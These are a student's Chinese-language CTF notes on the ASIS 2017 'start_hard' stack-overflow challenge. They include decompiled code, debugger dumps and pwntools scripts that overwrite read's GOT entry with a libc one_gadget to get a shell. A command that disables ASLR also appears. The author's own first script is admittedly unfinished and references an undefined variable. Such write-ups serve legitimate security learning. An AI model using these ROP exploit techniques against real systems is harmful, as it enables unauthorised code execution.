未完待续: exp有问题…

题目来源:asis ctf quals 2017:start hard

https://github.com/boslash/bo8/tree/master/start_hard

1
2
3
4
5
6
7
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char buf[16]; // [rsp+10h] [rbp-10h] BYREF

read(0, buf, 0x400uLL);
return 0LL;
}

用ida查看反汇编代码,一个很明显的缓冲区溢出漏洞,要看开启了什么保护,没有canary,栈好利用一些,但是开了nx,所以得用rop之类的

1
2
3
4
5
6
[*] '/tmp/starthard/start_hard'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

用one_gadget看有没有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@VM-24-10-ubuntu:/tmp/starthard# one_gadget ./libc.so.6 
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xef6c4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf0567 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
gef➤ telescope
0x007fffffffe460│+0x0000: 0x007fffffffe5680x007fffffffe7be"/tmp/starthard/start_hard" ← $rsp
0x007fffffffe468│+0x0008: 0x0000000100400430
0x007fffffffe470│+0x0010: 0x6161616161616161 ← $rsi
0x007fffffffe478│+0x0018: 0x6161616161616161
0x007fffffffe480│+0x0020: 0x6161616161616161 ← $rbp
0x007fffffffe488│+0x0028: 0x007ffff7a03c0a → <__libc_start_main+106> mov rsi, QWORD PTR [rsp+0x8]

​ 溢出24字节,然后加上0x4526a即可,但是一直打失败了…是因为libc的问题吧,需要链接上 或者用本地的

​ 0x4526a这个地址行吗???,这个地址是什么地址??

2023 7 28: 感觉思路没啥问题呀… 是不是可以爆破,是加了随机化是吗… 哦对…是libc中的one_gadget呀..那肯定加了随机化…

随机化了三个字符, 所以能怎么输入呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
import time

def exploit():
p = process("./start_hard")

payload = b"a" * 24 + p16(0xeafe) + p8(0x23)
p.send(payload)

# Add some delay after each attempt to avoid rapid execution issues
time.sleep(0.5)

# Read the output from the process
p.interactive()

# Check if the exploit was successful and print the result
if b"Flag" in response:
print("[+] Exploit successful! Flag:", response.split(b"\n")[-2])
else:
print("[-] Exploit failed.")

p.close()

# Number of attempts you want to perform
num_attempts = 100

for _ in range(num_attempts):
exploit()

image-20231116210352866

在之前发送命令就可以!!

image-20230729095606345

把回车重定向进去就可以了把

python3 final.py < huiche > tmp

问题来源:不知道libc的加载基地址

​ 需要解决如何获得libc基址,但是刚才用vmmap查看,然后相加了呀,为啥不行呢?就算可以,对方是远程的,所以这样应该不行…应该需要先打印出来?

​ 不是的,它是因为开了PIE,会有随机化,每次地址都会变

解决办法

​ libc中的各种函数的相对地址是固定的,按照往常套路,我们需要先泄露出一个函数的地址,然后计算偏移,但是在本题中没法进行泄露(或许可以????)

​ 题解给的办法是,因为我们有read函数,可以利用它和onegadget的偏移,通过爆破?寻找onegadget,直接把read的got表给修改了成onegadget的,然后再次进行调用read就是调用onegadget了,就可以getshell了
​ 所以思路应该是通过栈溢出构造gadget链子,先利用read函数,把read的got表改成onegadget的,然后返回main函数重新执行即可

构造payload

ssize_t read(int fd, void buf, size_t* count**); read函数的含义是,从fd中读取count数据,写入到buf中,

​ 问题是怎么构造read呢? 首先我们知道read的符号地址,可以直接进行调用,然后通过寄存器设置参数, count是不是可以不用设置??
寻找pop rsi的gadget,传入read的got地址到buf变量,然后设置fd为onegadget的地址,然后最后将返回地址设置为main的就可以了!

关于onegadget地址的传参问题

​ 但是问题是题解中的onegadget的地址是直接传参传进来的,不是通过设置rdi,这是为啥呢???
​ 是因为此时rdi为0,所以从标准输入中获取嘛?我觉得应该是,并且这个让我想到了pwnable的第一题…那应该就不奇怪了

关于onegadget 用的libc的问题

​ 用的如果是自己的libc的话,

readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep read@

ROPgadget –binary /lib/x86_64-linux-gnu/libc.so.6 –only ‘pop|ret’

0x000000000002164d : pop rsi ; pop r15 ; ret

echo 0 > /proc/sys/kernel/randomize_va_space

最终exp

​ 这是作者给的原exp,实际上用的话可能需要简单修改

​ 该exp首先填满缓冲区,然后通过 pop_rsi把read的got表地址赋值给rsi,即后面read的第二个参数buf,也就是我们要覆盖的地址,后面8个A是因为用的gadget多了一个pop r15,填入个垃圾数据就可以了. 然后pop完之后继续往下执行,执行到read的symbols,也就是去执行read函数,此时read还没有第一个参数fd,也就是从哪里读取,但是在调试的时候发现rdi是0,也就是从标准输入读取.不过为什么那么巧,rdi是0呢???万一不是0呢? 如果不是0的话,就需要gadget进行布置了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

elf = ELF('./start_hard')
pop_rsi = 0x004005c1 # pop rsi; pop r15; ret
one_gadget = 0x1147 # 0xf1147

def pwn():
payload = "A"*(0x10 + 8)
payload += p64(pop_rsi) + p64(elf.got['read']) + "A"*8
payload += p64(elf.symbols['read'])
payload += p64(0x0040044d) # call __libc_start_main
payload = payload.ljust(0x400, '\x00')

io.send(payload)
io.send(p16(one_gadget))
io.interactive()

while True:
io = remote('0.0.0.0.', 10001)
# io = process('./start_hard')
pwn()

其他需要储备的知识 + 问题

64位传参

和32位 不同的是,要用到寄存器: rdi rsi rdx rcx

关于read函数

https://man7.org/linux/man-pages/man2/read.2.html

关于下断点调试分析

​ 可以在call _read指令后面下断点,然后一点点调试分析

​ 一直以来都犯了一个错误,觉得下断点应该在exp中用pause(),但是一直不知道怎么在payload打出去后,断下来,应该及时和同学交流的,这个问题的答案其实自己早就知道了,只是不知道原来是这样…

​ gdb.attach(io,”b __libc_start_main”) 其实就是这句, gdb attach的话下个断点就可以了,这样就可以在payload打之后一点点调试了

https://blog.csdn.net/fjh1997/article/details/105434992/

pop rsi是把它下面的那个给pop出来?还是找rsp?

​ 看下面的第六行,这里pop rsi的话,是放在了返回地址,所以当执行到这里的时候,上面的栈的数据就是垃圾数据了,此时pop rsi下面这里是rsp的位置???

1
2
3
4
5
6
7
8
9
gef➤  telescope
0x007fff5df395c0│+0x0000: 0x007fff5df396c80x0000000000000000 ← $rsp
0x007fff5df395c8│+0x0008: 0x0000000100400430
0x007fff5df395d0│+0x0010: 0x4141414141414141 ← $rsi
0x007fff5df395d8│+0x0018: 0x4141414141414141
0x007fff5df395e0│+0x0020: 0x4141414141414141 ← $rbp
0x007fff5df395e8│+0x0028: 0x000000004005c1 → pop rsi
0x007fff5df395f0│+0x0030: 0x000000006010180x007fae5d96b020 → <read+0> lea ra
x, [rip+0x2e09b1] # 0x7fae5dc4b9d8 <__libc_multiple_threads>

给的libc.so.6怎么链接?

/libc.so-3.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu7) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A

参考

https://devcraft.io/posts/2017/04/09/start-hard-asis-ctf-quals-2017.html